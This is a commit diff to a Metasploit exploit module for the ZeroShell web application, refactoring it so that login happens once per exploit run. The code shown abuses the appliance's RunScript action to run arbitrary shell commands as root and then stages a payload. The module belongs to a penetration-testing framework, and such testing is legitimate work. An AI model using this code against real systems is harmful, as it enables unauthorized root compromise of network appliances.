Do not get a session on every execute_command call

modules/exploits/unix/webapp/zeroshell_exec.rb

@@ -128,14 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
   # The RunScript action will run shell commands directly with root privileges.
   def execute_command(cmd, opts)
-
-    admin_password = password
-    if admin_password.nil?
-      fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
-    end
-
-    session = login(admin_password)
-
     script_name = rand_text_alphanumeric(8)
     res = send_request_cgi({
       'method' => 'POST',
@@ -143,19 +135,26 @@ class Metasploit3 < Msf::Exploit::Remote
       'vars_post'   => {
         'Action' => "RunScript",
         'Section' => "Setup",
-        'STk' => session,
+        'STk' => @session,
         'ScriptName' => script_name,
         'Script' => cmd + '&'
       }
     })
 
-    if not res or res.code != 200
+    if res and res.code != 200
       fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
     end
 
   end
 
   def exploit
+    admin_password = password
+    if admin_password.nil?
+      fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
+    end
+
+    @session = login(admin_password)
+
     execute_cmdstager
   end